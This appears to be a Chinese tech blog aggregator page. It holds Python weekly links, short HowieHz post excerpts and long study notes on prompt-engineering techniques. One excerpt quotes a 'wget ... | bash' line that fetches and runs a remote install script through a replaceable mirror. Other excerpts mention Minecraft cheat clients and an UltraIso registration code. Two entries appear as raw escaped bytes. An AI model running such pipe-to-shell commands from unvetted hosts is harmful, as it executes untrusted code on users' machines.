特性有:完全异步、SQLAlchemy 2.0、强大的 CRUD、动态构建复杂查询、高级 SQL 联结、基于偏移或光标的分页、模块化可扩展、自动生成接口。
让你轻松用 Python 代码构建 AI 服务,主要特性:良好的抽象、仅需几行代码即可启动模型、内置常见模型(如 Llama、SDXL、Whisper 等)的示例、自动批处理、后台任务等。(star 1.9K)
让 AI 根据你的个人品味和兴趣来策划选题、撰写、设计和编辑内容,由 6 个专业 agent 组成,支持搜索网络最新内容,聚合知名的新闻源。
纯 Python 开发的轻量型消息推送库,支持通过大多数服务发送通知,例如 Telegram、Discord、Slack、Amazon SNS、Gotify 等等等,支持短信、邮件、系统桌面等多种形式。(star 9.7K)
一个基于 PostgreSQL 的分布式任务处理库,提供 Django 集成,易于与 ASGI 框架一起使用。支持异步、周期任务、重试、任意任务锁等功能。
它可以同时运行多个 netperf/iperf/ping 实例并聚合结果,通过交互式 GUI 和可扩展的绘图功能展示数据,支持本地和远程主机,支持采集 CPU 使用率、WiFi、qdisc 和 TCP 套接字统计信息等。
urllib3 发布了 2.2.0 版本,支持在Pyodide 运行时中使用!后者是用在浏览器中的 Python 解释器,也是PyScriptJupyterlite 框架的技术基础。这对 Python 的前端开发有重大作用,未来可期。
Gnuplot 是一个强大的开源绘图工具,用于生成各种类型的二维和三维图表。这个项目将它与 Numpy 结合,充分利用数据处理和绘图能力。
RAG(检索增强生成)+向量数据库搭建一个中国历史知识问答应用,支持“Milvus方案“(本地)和“Zilliz Cloud Pipelines方案”(云上),提供基于gradio的 Web UI 界面。默认使用 GPT4 模型,可轻松切换其它 LLM。

🐢赠书福利

不定期的福利活动,本期赠书 5 本《AI 绘画实战:Midjourney从新手到高手》,开奖时间 2 月 10 日(春节)。请给 Python猫公众号发送数字“8038”,获取抽奖小程序码。
这本书介绍了 Midjourney 绘画的各种使用方法与技巧,从基础理论到实战应用,一本书轻松玩转当下最火的 AI 绘画,带你领略无限艺术可能。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

February 03, 2024 12:00 AM

February 02, 2024

howiehz

我的世界免费科技地址 1.7-1.21

初发布于 bilibili 专栏 发布于 2022.09.10 16:40 我的世界(Minecraft)免费辅助端收集,仅用于交流学习。在服务器使用前请准守该服务器的规则。 未标注 closed-source 则为开源,标注则为闭源。 发布这篇文章的缘由:我作为一个 Minecraft 服主,需要

by HowieHz at February 02, 2024 01:48 AM

January 31, 2024

howiehz

网站 Favicon 下载工具发布

发布地址:HowieHz/get_favicon: The script is used to automatically get the favicon (github.com) 下载地址:Releases · HowieHz/get_favicon (github.com) 建站后我将博客收藏夹

by HowieHz at January 31, 2024 01:16 PM

January 30, 2024

usb

b'Debian 12 / Ubuntu 24.04 \xe4\xbd\xbf\xe7\x94\xa8\xe6\xba\x90\xe5\xae\x89\xe8\xa3\x85 LEMP \xe6\x95\x99\xe7\xa8\x8b'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe4\xbb\x8b\xe7\xbb\x8d\xe4\xbd\xbf\xe7\x94\xa8\xe5\xae\x98\xe6\x96\xb9\xe6\xba\x90\xe5\x92\x8c\xe7\xac\xac\xe4\xb8\x89\xe6\x96\xb9\xe6\xba\x90\xe5\x9c\xa8 Debian 12 \xe5\x92\x8c Ubuntu 24.04 \xe5\xae\x89\xe8\xa3\x85\xe6\x9c\x80\xe6\x96\xb0\xe7\x89\x88 Nginx + PHP + MySQL \xe7\x9a\x84\xe6\x95\x99\xe7\xa8\x8b\xef\xbc\x8c\xe5\xb9\xb6\xe4\xb8\x94\xe5\x8f\xaf\xe4\xbb\xa5\xe8\x87\xaa\xe8\xa1\x8c\xe9\x80\x89\xe6\x8b\xa9 PHP \xe7\x89\x88\xe6\x9c\xac\xe3\x80\x82'

by Showfom at January 30, 2024 12:00 AM

January 29, 2024

howiehz

设备管理器 网卡一堆黄色感叹号 例如 WAN, Miniport

迁移自本地Obsidian库,原记录于2023‎年‎5‎月‎17‎日,‏‎22:11:13 现象 设备管理器 网卡一堆黄色感叹号 例如有WAN,Miniport 解决问题 !!!注册表操作前先备份 去注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con

by HowieHz at January 29, 2024 02:50 AM

键盘 Bios 内可用 系统内无法输入 设备管理器无黄色感叹号

迁移自本地Obsidian库,原记录于‎2023‎年‎5‎月‎17‎日,‏‎22:20:48 现象 键盘bios内可用 系统内无用 设备管理器无黄色感叹号 但是无法输入 解决问题 !!!注册表操作前先备份 注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\

by HowieHz at January 29, 2024 02:50 AM

Kindle 传书方式总结

迁移自本地Obsidian库,原记录于‎2023‎.8‎.16‎ ‏‎9:33:23 越狱前的传书方法 usb连接方式 文件管理器直接复制过去 calibre里面选择保存到硬盘(个人推荐关闭“封面单独保存”,“保存元数据到单独的OPF文件”,开启“更新所保存数据的元数据”,保存模版修改为“{titl

by HowieHz at January 29, 2024 02:38 AM

Windows RDS(RDP) 服务优化

迁移自本地Obsidian库,原记录于2023.4.8 重排版于‎2023‎.4‎.14‎ ‏‎22:11:08 本文没有备份参考位置,来源网络 解锁60fps 可以把下面代码部分复制到记事本,保存为60fps.reg,双击导入即可。 Windows Registry Editor Version

by HowieHz at January 29, 2024 02:31 AM

UltraIso 9.7.6.3829 注册码

迁移自本地Obsidian库,原记录于‎2023‎.6‎.20‎ ‏‎22:11:39 原帖: https://www.aihao.cc/thread-86086-1-1.html xiangnan 发表于 2022-11-23 10:42:23 9.7.6.3829版官网下载地址: http://

by HowieHz at January 29, 2024 02:18 AM

Windows 硬盘停转休眠/热插拔 - 网络方案收集

迁移自本地Obsidian库,原记录于‎2023‎.4‎.17‎ ‏‎22:39:12 方案一 原文【探索】windows 系统下安全移除用 SATA 线(开启热插拔)直连主机的机械硬盘的方法 - 哔哩哔哩 (bilibili.com) 作者bilibili@不谙世事的雨滴 步骤一 命令行法 dis

by HowieHz at January 29, 2024 02:13 AM

Windows 远程桌面拒绝访问 3389 端口无占用 相关服务无法停止或启动 - 修复

迁移自本地Obsidian库,原记录于‎2023‎.6‎.20‎ ‏‎22:11:39 现象 netstat -ano |find "3389" 结果返回空 进入服务,发现Remote Desktop Services不可停止也不可启动,进入火绒剑也不行 解决问题 sc queryex TermS

by HowieHz at January 29, 2024 02:10 AM

Windows 自带虚拟光驱无法挂载 - 复现与修复

迁移自本地Obsidian库,原记录于2023‎.5‎.17‎ ‏‎22:25:17 现象 双击.iso文件,卡很久然后弹框: 无法装载文件 抱歉,装载文件时出现问题 不关这个框去设备管理器可以看到 由于其配置信息(注册表中的)不完整或已损坏,Windows 无法启动这个硬件设备。 (代码 19)

by HowieHz at January 29, 2024 01:56 AM

一行代码加速含 github.com 的安装脚本(Home Assistant 安装 HACS 加速)

有很多项目都是给一行指令自动下载脚本并且安装 比如hacs项目给的指令 wget -O - https://get.hacs.xyz | bash - 但是github总所周知访问比较慢,所以把github的链接替换成镜像站的链接再运行,速度就会快的多了。 此处可以把hub.nuaa.cf换成你的

by HowieHz at January 29, 2024 01:43 AM

usb

b'Debian 12 / Ubuntu 24.04 \xe4\xbd\xbf\xe7\x94\xa8\xe6\xba\x90\xe5\xae\x89\xe8\xa3\x85 LAMP \xe6\x95\x99\xe7\xa8\x8b'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe4\xbb\x8b\xe7\xbb\x8d\xe4\xbd\xbf\xe7\x94\xa8\xe5\xae\x98\xe6\x96\xb9\xe6\xba\x90\xe5\x92\x8c\xe7\xac\xac\xe4\xb8\x89\xe6\x96\xb9\xe6\xba\x90\xe5\x9c\xa8 Debian 12 \xe5\x92\x8c Ubuntu 24.04 \xe5\xae\x89\xe8\xa3\x85\xe6\x9c\x80\xe6\x96\xb0\xe7\x89\x88 Apache 2 + PHP + MySQL \xe7\x9a\x84\xe6\x95\x99\xe7\xa8\x8b\xef\xbc\x8c\xe5\xb9\xb6\xe4\xb8\x94\xe5\x8f\xaf\xe4\xbb\xa5\xe8\x87\xaa\xe8\xa1\x8c\xe9\x80\x89\xe6\x8b\xa9 PHP \xe7\x89\x88\xe6\x9c\xac\xe3\x80\x82'

by Showfom at January 29, 2024 12:00 AM

January 27, 2024

pythoncat

Python 潮流周刊#37:Python “令人失望”的动态类型超能力

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

这是作者装饰器系列文章的第三篇,从很多开源库的现实用法中提取出了三个通用型用法:拦截调用、作函数注册、丰富函数行为。
假如这是一家超级大公司的面试题,不使用堆和二叉搜索树,如何实现标题的算法?文章通过最小合理方案,一步步提出问题再优化代码,并比较各种方案的时间复杂度,可以学到很多东西。
Python 创建字典的两种写法 dict() 与 {} 有什么区别?文章通过它们的字节码和 CPython 解释器源码进行了深度分析。单纯看性能,结论是:{} 要比 dict() 快。(附:Python 为什么系列曾写过 Python 疑难问题:[] 与 list() 哪个快?为什么快?快多少呢?
Taipy 团队开发了增强型 Markdown API,通过添加标签在内容中生成图形界面元素。
介绍了 Python 中 7 个可以优化内存的技巧:在类定义中使用__slots__、使用生成器、使用mmap 作大文件处理、减少使用全局变量、利用逻辑运算符的短路求值、选择合适的数据类型、使用字符串驻留技术。
Python 垃圾回收是如何实现的?CPython 为什么使用引用计数?分代垃圾回收器可以解决什么问题?如何查看和调试引用周期?
PostgresDynamoDB 两种数据库分别是如何使用的?应该如何选择?文章比较了它们的 ORM、查询、性能、备份、迁移等方面,并根据不同场景给出了方案选型的建议。
一篇详细的官方博客教程,使用 Pandas 作数据整理,用 Altair/Plotly 作数据可视化,用 Streamlit 作前端。
Scrapscript 是一种小型、纯粹、函数型、内容可寻址、网络优先的编程语言,作者介绍了它的设计原则、特性、已实现和开发中的功能,以及使用 Python 实现的过程。
X.509 是一种 PKI 标准,用于定义数字证书的格式和标准化证书的属性。Cryptography 的 42.0.0 版本提供了 X.509 相关 API,文章介绍了它的重要意义、解决的相关问题。
作者感到失望的原因不是动态类型相比静态类型有什么缺点,而是认为 Python 没有充分利用动态类型的优势。动态不是静态的对立面,动态是可在运行时变更类型。作者希望增强动态分析的能力,希望动态类型的“test amplification”更容易,而不是转向类型注释或静态类型。
这篇文章是对上一则分享的回应,通过 Werkzeug、Pony、Django、fluent-compile、Pytest 等库使用到的神奇技术(猴子补丁和动态元编程),说明 Python 动态类型的超能力。Python 能做的事或许超出你想象。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

一个基于任意大语言模型构建自定义 AI 的框架,使用 Docker 部署。API 优先,支持插件扩展,带管理面板,记忆对话和文档。(star 1.6K)
支持将任意类型文件隐藏在一张图像中,不影响图像的视觉效果。支持图像解码、图像比较、CLI、UI、跨平台、加密与压缩等功能。
支持高精度的实数和复数浮点数运算,提供了大量特殊的用于数学运算的函数。
为 SQLite 数据库操作提供线程安全的接口,基于队列的语句执行。
用 Rust 实现的单一 HTTP 实现,避免常见的 Gunicorn + uvicorn + http-tools 依赖组合。支持 ASGI/3、RSGI 和 WSGI 接口应用,支持 HTTP/1 和 HTTP/2 协议。(star 1.5K)
FastAPI + HTMX 的组合,主要特点:装饰器语法、支持任意模板引擎和服务器端渲染库、内置 Jinja2、同时支持 HTMX 请求和普通请求、支持同步和异步路由……
一本适合 LLM/VLM 训练工程师和操作员的技术手册,可帮助成功训练大型语言模型和多模态模型。(star 6.9K)
通过同时设计前端语言和运行时系统,使交互 LLMs 更快、更可控。支持多个链式生成调用、高级提示技术、控制流、多模态、并行和外部交互,具有 RadixAttention 的高性能运行时。
将 ChatGPT 部署成自己的 Telegram 机器人,支持 GPT-4、GPT-4 Turbo 和 DALLE 2,支持群聊,内置 15 种特殊对话模式,支持查看 OpenAI API 花费等功能。 (star 4.5K)
它的中文名是“茴香豆”,提出一套解答技术问题的算法 pipeline,部署成本低,支持群聊这类复杂场景,支持微信群、lark 群组、飞书群、钉钉机器人等 IM。
使用 ID Base 模型、InsightFace 模型、ID ControlNet 模型、Ipadapter_instantid 等模型,官方提供 8 种风格。
支持 lora、支持多批次、支持通用的 styler,官方提供 10 种风格。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

January 27, 2024 12:00 AM

January 26, 2024

aneasystone

提示工程学习笔记

在之前的笔记中,我们学习了很多大模型的使用技巧,比如 实现一个划词翻译插件实现基于文档的问答助手实现基于数据库的问答助手 等等,在这些使用场景中,我们应该都或多或少听过 提示工程(Prompt Engineering) 这个概念;另外,在 大模型应用开发框架 LangChain 学习笔记(二) 这篇笔记中,我们学习了什么是 智能体(Agent),并使用 LangChain 实现了几种不同类型的智能体,将提示工程技术发挥得淋漓尽致。那么到底什么是提示工程呢?提示工程又有哪些使用技巧呢?这篇笔记就来系统地学习下相关知识。

什么是提示工程

根据 《Prompt Engineering Guide》 这份指南中对提示工程的解释,提示工程(Prompt Engineering) 是一门关注于 提示词(Prompt) 的开发和优化的学科,能够帮助用户将大模型用于各种应用场景和研究领域,比如我们可以利用提示工程来提升大模型处理复杂任务的能力(如问答和算术推理);或者实现大模型与其他生态工具的对接。

所谓提示词,说白了就是我们给大模型下发的指令,提示词写对了,大模型才能输出相应的结果,提示词写的越好,大模型输出的结果就越准确。提示词由下面的一个或多个要素组成:

  • 指令(Instruction):给模型下达指令,或者描述要执行的任务;
  • 上下文(Context):给模型提供额外的上下文信息,引导模型更好地响应;
  • 输入数据(Input Data):用户输入的内容或问题;
  • 输出指示(Output Indicator):指定输出的类型或格式;

提示词所需的格式取决于你完成的任务类型,并非所有以上要素都是必须的。比如在前面的笔记中,我通过下面的提示词实现了英汉翻译:

Translate this into Simplified Chinese:

The OpenAI API can be applied to virtually any task that involves understanding or generating natural language, 
code, or images.

这个提示词只包含了 指令输入数据 两个部分。我还通过下面的提示词实现了基于文档的问答:

你是一个知识库助手,你将根据我提供的知识库内容来回答问题
已知有知识库内容如下:
1. 小明家有一条宠物狗,叫毛毛,这是他爸从北京带回来的。
2. 小红家也有一条宠物狗,叫大白,非常听话。
3. 小红的好朋友叫小明,他们是同班同学。
请根据知识库回答以下问题:小明家的宠物狗叫什么名字?

这里除 指令输入数据 之外,还新增了 上下文 部分。可以看到,这些提示词都非常简单,而且效果也都还不错,这其实得益于大模型强大的自然语言处理能力。对于这种简单的任务,提示工程的作用并不明显。但是对于一些复杂的任务,比如算术和推理,或者解决大模型的局限性问题,比如幻觉和上下文限制等,不同的提示工程技术可以大大改善大模型的输出效果。

基本原则

提示工程是一门经验科学,提示词的细微差别可能会导致不一样的输出结果,甚至相同的提示工程技术,在不同模型之间也可能效果会有很大的差异,因此提示工程需要进行大量的实验和测试。尽管如此,编写提示词还是有一些通用的原则可以遵守的。

从简单开始

在设计提示词时,需要记住这是一个迭代的过程,需要大量的实验来获得最佳结果。避免从一开始就引入过多的复杂性,而应该从简单的提示词开始,然后不断地添加更多的元素和上下文,观察效果是否提高,在这个过程中对提示词进行版本控制。

比如你可以从零样本提示开始,如果效果不好,再改用少样本提示,如果效果还不好,再改用 Fine-tuning 方案。

另外,当你面对一个复杂的大任务时,可以尝试将任务分解为更简单的子任务,通过构建不同的提示词来解决每个子任务。

使用指令

正如前文所述,指令是提示词的几大要素之一,通过指令可以完成一些简单任务,比如:分类、总结、翻译等。在 OpenAI 的提示工程最佳实践 中,建议将指令放在提示的开头,并使用一些诸如 ###''' 的分隔符来分隔指令和上下文:

总结下面的文本内容,将其中的要点以列表形式展示出来。

文本内容:"""
{text input here}
"""

减少不精确的描述

确保你的提示词是明确的(Be specific)、具体的(Descriptive)、并且尽可能详细的(As detailed as possible),可以把和大模型的对话类比为和人的对话,沟通越直接,信息传递就越有效。比如下面是一个反例:

写一首关于 OpenAI 的诗

这个提示词就不够精确,我们应该对诗的内容做进一步描述才能让大模型更好的生成内容:

写一首鼓舞人心的关于 OpenAI 的短诗,聚焦最近的 DALL-E 产品发布(DALL-E 是一种文本到图像的机器学习模型),风格类似于莎士比亚。

下面是另一个描述不够精确的例子:

对该产品进行描述,描述应该相当简短,只有几句话,不能过多。

这个提示词啰里啰嗦,而且使用了一些模糊不清的概念,我们可以改得更直接、更具体、更简洁:

使用 3 到 5 句话描述该产品。

通过示例明确输出的格式

我们如果对模型的输出格式有特殊要求,最好提供几个示例,比如下面这个例子:

提取下面文本中的公司名称和成立时间。

以 JSON 格式输出:
[
    { "name": "XXX", "establish_time": "XXX" },
    { "name": "YYY", "establish_time": "YYY" }
]

文本内容:"""
{text input here}
"""

这样的输出格式有一个好处,我们可以在程序中对大模型的输出进行可靠地解析。

避免说不要做什么

设计提示词的另一个常见技巧是避免说不要做什么,而是说要做什么。下面是一个反例:

下面是客户和代理商之间的对话。不要问客户的用户名和密码。不要重复回复的内容。

客户:我登录不了我的账号
代理商:

改成下面这样会更好:

下面是客户和代理商之间的对话。代理商将尝试诊断问题并给出解决方案,同时避免询问客户的个人信息(如用户名和密码),
当涉及到这些信息时,建议用户访问帮助文档:www.samplewebsite.com/help/faq

客户:我登录不了我的账号
代理商:

角色扮演

当我们使用大模型构建一个客服聊天机器人之类的对话系统时,可以在提示词中明确它的身份和意图,就像玩角色扮演一样,比如:

我希望你扮演面试官的角色。我会充当一名 Java 开发工程师的候选人,然后你要问我关于这个职位的面试问题。你要像面试官一样说话。
不要一次写下所有的对话,不要写解释,像面试官一样一个接一个地问我问题,然后等待我的答复。我的第一句话是 “你好”。

这时大模型就变成了一位 Java 面试官,这种技巧有时也被称为 角色提示(Role Prompting)。你也可以尝试其他角色,比如教师、小说家、医生、足球评论员,甚至可以让它扮演 Linux 终端、浏览器、Python 执行器等等,这里有大量案例可供参考:Awesome ChatGPT Prompts

提示词框架

上面提到,一个提示词是由指令、上下文、输入数据和输出指示这几个要素中的一个或多个组成的,这其实就为如何编写提示词提供了一个基础框架,最初由 Elavis Saravia 在 《Prompt Engineering Guide》 中总结的。

除此之外,还有一些提示词框架对提示词的格式和内容做了更明确的定义,比如 Matt Nigh 的 CRISPE 框架

  • CR: Capacity and Role(能力与角色)。你希望 ChatGPT 扮演怎样的角色。
  • I: Insight(洞察力),背景信息和上下文。
  • S: Statement(指令),你希望 ChatGPT 做什么。
  • P: Personality(个性),你希望 ChatGPT 以什么风格或方式回答你。
  • E: Experiment(实验),要求 ChatGPT 为你提供多个答案。

云中江树的 结构化提示词

# Role: Your_Role_Name

## Profile

- Author: YZFly
- Version: 0.1
- Language: English or 中文 or Other language
- Description: Describe your role. Give an overview of the character's characteristics and skills

### Skill 1
1. xxx
2. xxx

### Skill 2
1. xxx
2. xxx

## Rules
1. Don't break character under any circumstance.
2. Don't talk nonsense and make up facts.

## Workflow
1. First, xxx
2. Then, xxx
3. Finally, xxx

## Initialization
As a/an <Role>, you must follow the <Rules>, you must talk to user in default <Language>,you must greet the user. 
Then introduce yourself and introduce the <Workflow>.

感兴趣的同学可以尝试一下。

提示工程技术

上面介绍了设计提示词时应该注意的基本原则,遵守这些原则有助于让大模型输出你期望的结果,另外,还有一些提示技术或技巧,也可以大大提高大模型的效果。

零样本提示(Zero-shot Prompting) vs. 少样本提示(Few-shot Prompting)

零样本提示(Zero-shot Prompting)少样本提示(Few-shot Prompting) 是最基础的提示技术。零样本提示就是直接向模型输入文本以获取回答,比如:

文本:今天的天气真不错!
情感分类:

有些模型会直接输出分类结果:

积极

有些模型还会输出一些解释性的内容:

您的文本:“今天的天气真不错!”表示的是一种积极或正面的情感。
这种表达通常反映出满足、愉悦或幸福的情绪。因此,情感分类可以是“正面”或“积极”。

这可能并不是我们所想要的,这时,我们就可以通过少样本提示来引导大模型输出我们期望的格式:

文本:这是我读过最精彩的一本小说!
情感分类:积极

文本:这部电影内容一般般啊!
情感分类:消极

文本:这是一部关于友谊的电影。
情感分类:中性

文本:今天的天气真不错!
情感分类:

少样本提示通过提供一些包含输入和期望输出的示例,让大模型更好地理解我们的意图,因此,少样本提示通常比零样本提示有更好的表现,然而它是以消耗更多的 token 为代价的,并且当输入和输出文本很长时可能会达到上下文长度限制。

少样本提示技术由 Tom Brown 等人 2020 年在 Language Models are Few-Shot Learners 这篇论文中提出,这项技术利用了大模型的 上下文学习(In-context Learning) 能力,即大模型可以从少量的示例数据中学习新任务,而无需进行任何参数更新。Sewon Min 等人在 Rethinking the Role of Demonstrations: What Makes In-Context Learning Work? 这篇论文中做了更深入的研究,探讨了少样本提示是如何工作的?以及它为什么是有效的?论文中还总结了一些有趣的结论:

  • 示例数据中的标签空间和输入文本的分布对于上下文学习至关重要,就算标签是错的也所谓;
  • 整体格式也至关重要,当标签空间未知时,使用随机的单词作为标签也比不使用标签要好得多;

比如将上面的例子改成下面这样:

文本:这是我读过最精彩的一本小说!
情感分类:消极

文本:这部电影内容一般般啊!
情感分类:中性

文本:这是一部关于友谊的电影。
情感分类:积极

文本:今天的天气真不错!
情感分类:

尽管示例数据中的分类结果都是错的,但是大模型依然可以输出正确的结果。

如何构建少样本提示中的示例数据是另一个值得探讨的课题,目前已经有很多论文对此进行了研究。Tony Z. Zhao 等人在 Calibrate Before Use: Improving Few-Shot Performance of Language Models 这篇论文中提出:提示词的格式、示例数据的选择以及示例数据的顺序都可能导致截然不同的性能。

论文中进一步指出,出现这种现象的原因可以归结为如下几种偏差:

  • 多数标签偏差(Majority label bias):当示例中的标签分布不平衡时会出现;
  • 近因效应偏差(Recency bias):模型可能会出现在末尾重复标签的倾向;
  • 常见令牌偏差(Common token bias):模型更倾向于生成常见令牌而不是罕见令牌;

为了克服这些偏差,论文中提出了一种方法,使用一个无内容的输入(如:N/A)来估计模型对每个答案的偏差,然后调整参数,使得对于这个输入的预测在所有答案上均衡。

关于示例数据的选择有几个普遍建议可供参考:

  • 保持示例数据的多样化
  • 与测试样本相关
  • 并且以随机顺序排列

如果想更深入地学习相关的内容,下面这些论文可供参考:

指令提示(Instruction Prompting)

在少样本提示中,我们提供少量示例数据的目的是向大模型解释我们的意图,那么,为什么我们不直接将我们的意图告诉大模型呢?

对下面的文本进行情感分类,分类结果可以是“积极”、“消极”或“中性”。

文本:今天的天气真不错!
情感分类:

能从指令中理解用户意图的模型我们称之为 指令模型(Instructed LM),这些模型通过高质量的数据(包括指令、输入和输出)对预训练模型进行微调,以使语言模型更好地理解用户意图并遵循指令,这个过程叫做 指令微调(Instruction Tuning)

Google 在 2021 年首次提出指令微调可以解锁大模型的指令理解能力,并发布了 FLAN 模型;BigScience 紧随其后,发布了 T0 模型,相对 FLAN 来说,它的指令数据集更加丰富多样;正当 Google 和 BigScience 还在各种不同的标准任务上评估大模型能力提升时,OpenAI 却开始从另一个角度来评估人工智能,那就是如何更好地帮助人类解决问题,它将数据集从标准的 NLP 任务改成用户提交的真实问题,最终在 2022 年发布了 InstructGPT 模型,并在 InstructGPT 的基础上训练出了风靡全球的 ChatGPT;之后还有 AllenAI 发布的 TK-Instruct 模型,它使用了更大规模的指令数据集进行训练,并将 指令集完全开源,推动了指令模型的发展。

这些指令模型都有对应的论文:

此外,指令微调常见的方法是 RLHF(Reinforcement Learning Human Feedback,来自人类反馈的强化学习),可以让模型被调整得更好地适应人类的偏好。

目前市面上的大语言模型基本上都是指令模型,在与指令模型交互时,我们要遵守上一节中介绍的基本原则,指令要求要详细,尽量具体和准确,避免说不做什么,而是说明要做什么。

指令提示和少样本提示可以组合使用,Seonghyeon Ye 等人在 Investigating the Effectiveness of Task-Agnostic Prefix Prompt for Instruction Following 论文中提出一种 In-context Instruction Learning 的方法,他们在提示词中包含了不同任务的多个示例:

任务:确定对话的发言人是 “代理商” 还是 “客户”
输入:我已经成功为你预定了机票。
输出:代理商

任务:确定问题所属的类别是 “数量” 还是 “位置”
输入:美国最古老的建筑是什么?
输出:位置

任务:对给定的电影评论进行分类,“积极” 还是 “消极”
输入:我猜视频游戏一定比电影有趣多了。
输出:

通过这种方式可以显著提高预训练模型和指令微调模型的零样本任务泛化性能。

思维链(CoT)

传统的少样本提示可以显著提高大模型在分类、翻译、生成等任务中的性能,但是在处理算术、常识、符号推理等任务时却不那么明显。Jason Wei 等人于 2022 年发表论文 Chain-of-Thought Prompting Elicits Reasoning in Large Language Models,提出了一种新的名为 思维链(Chain of Thought, CoT) 的提示技术,通过向大模型展示中间推理步骤实现了复杂的推理能力,结合少样本提示还可以获得更好的结果。

下面是思维链的一个经典示例:

cot.png

左边是传统的提示技术,首先向大模型展示一个问题样例以及该问题的答案,我们希望大模型能直接给出答案,但是很可惜,结果是错的;右边是使用思维链提示技术,和左边一样,也是向大模型展示一个问题样例,但是接下来我们不是直接给出问题的答案,而是给出解答该问题的推理过程,这样大模型就会模仿你的推理步骤,并成功解决新的未知问题。

虽然思维链很强大,但是要注意的是,这种能力只有在足够大的语言模型上才会涌现(大于等于 100B),在较小的模型上使用思维链效果可能比标准提示更差。

在 Jason Wei 等人的论文发表后不久,Takeshi Kojima 等人也发表了一篇关于思维链的论文:Large Language Models are Zero-Shot Reasoners,论文中介绍了 零样本思维链(Zero-Shot-CoT) 技术,而 Jason Wei 等人提出的技术被称为 少样本思维链(Few-Shot-CoT),和之前的思维链不同的是,零样本思维链不需要在提示词中给出解决问题的推理过程,而是直接在提示词中加上一句 让我们逐步思考(Let's think step by step.) 这样的话即可:

zero-cot.png

这么简单的一句话,竟然可以起到这么大的作用,着实让人意想不到。有趣的是,论文中还尝试了不少其他的提示词,最终发现 Let's think step by step. 效果最好:

zero-cot-exaples.png

不过,零样本思维链通常不如少样本思维链有效,只有当你没有太多的示例数据时可以尝试一下。此外,这个技巧除了用于解决复杂的推理问题,还适合生成一些连贯主题的内容,比如写长篇文章、电影剧本等。

自我一致性(Self-Consistency)

根据上面的学习我们知道,思维链提示是让大模型模仿示例数据生成一系列的推理步骤,最终解决用户问题,但是很显然,大模型在生成中间步骤时仍然是可能出错的。Xuezhi Wang 等人在 2022 年提出的一种改进思维链的方法,即 自我一致性(Self-Consistency),参见论文 Self-Consistency Improves Chain of Thought Reasoning in Language Models

自我一致性的想法很简单,通过多次执行 CoT 得到多个推理路径,然后在多个结果中投票选择最一致的答案:

self-consistency.png

从上图可以看出自我一致性方法整体包括三个步骤:

  1. 构造 CoT 示例数据;
  2. 通过大模型生成多个不同的推理路径(reasoning path);
  3. 使用多数投票(majority vote)的方法选出最一致的答案;

虽然这种方式有点大力出奇迹的感觉,但是它确实可以提高思维链在算术和常识推理等任务中的性能。在具体的使用过程中,还有两个问题值得注意:

  1. 在生成多个推理路径时,一般将模型的温度值设置为 0.5,因为这个值如果设置过小会导致答案基本都一样,过大又会导致答案全都不一样,都会影响到最终的效果;
  2. 需要生成多少个推理路径(也就是采样次数)也是一个问题,从论文结果来看,候选样本数越多,最终效果越好,论文中一共采样了 40 次,但在实际应用中不可能这样豪横,一般采样 5 次以上就能超过普通的思维链提示;

自我一致性本质上是一种集成学习方法,Xuezhi Wang 等人后来又对其进行了优化,提出了 推理增强集成(Rationale-Augmented Ensembles) 方法,通过改变示例顺序或使用模型生成的推理链来替换人工编写的推理链,在多个样本试验中引入随机性,然后通过多数投票来聚合模型输出,得到最终答案,参见论文 Rationale-Augmented Ensembles in Language Models

最少到最多提示(Least-to-Most Prompting)

零样本思维链(Zero-Shot-CoT) 那篇论文中,作者提出了一种利用大模型进行两阶段推理的设想:

zero-cot-stages.png

第一个阶段先进行问题的拆分并分段解答问题(Reasoning Extraction),然后第二阶段再进行答案的汇总(Answer Extraction),这给了最少到最多提示很大的启发。

最少到最多提示(Least-to-Most Prompting,LtM) 也是一种改进思维链提示的方法,由 Denny Zhou 等人在 Least-to-Most Prompting Enables Complex Reasoning in Large Language Models 这篇论文中提出。

ltm.png

LtM 提出的初衷是为了解决 CoT 泛化能力不足的问题:即通过人工编写的示例数据可能并不能够很好的迁移到别的问题当中去,这种泛化能力的不足会导致新的问题无法使用老的模板进行解决。所以一个思想就是:让大模型自己找到解决当前问题的思维链。

相比于自我一致性,LtM 明显更优雅一些,它的思路使用了分治的思想,首先将大问题拆分成小问题,然后依次解决小问题,最后解决大问题:

  1. 问题拆解(Problem Reducing):第一步自上而下的分解问题,引导模型把问题拆分成子问题;
  2. 子问题有序解答(Sequentially Solve Subquestions):第二步自下而上的依次解决问题,逐一回答子问题,并把子问题的回答作为下一个子问题回答的上下文,循序渐进地解决问题,直到给出最终答案;在这个依次回答问题的过程中,问题由少变多,这也是 Least-to-Most 一词的来源。

思维树 (ToT)

传统的思维链提示,以及基于思维链的改进方法比如自我一致性,都存在着明显的缺陷:

  • 对于局部,并没有对思考过程的不同分支进行探索,生成的思维链都是一条路走到黑,不会去思考每一步有没有其他分支的解决方案;
  • 对于全局,没有利用任何类型的规划、前瞻以及回溯来帮助评估不同的选择,而这种启发式的探索正是人类解决问题的特性;真正的问题解决过程涉及反复利用可用信息来启动探索,进一步揭示更多信息,直到最终发现解决方法;

为解决这些不足,Shunyu Yao 等人在 2023 年 5 月发表了一篇论文 Tree of Thoughts: Deliberate Problem Solving with Large Language Models,提出了 思维树(Tree of Thoughts,ToT) 的框架,让语言模型可以探索多个推理路径,把解决问题视作在一棵树上的搜索,树上的每个节点代表问题以及到目前为止的思考过程:

tot.png

ToT 允许语言模型在解决问题的中间过程进行探索,通过考虑多种不同推理路径并进行评估,同时具备向前看跟向后回溯的能力以获得更佳决策选择。一个完整的 ToT 包括下面四个过程:
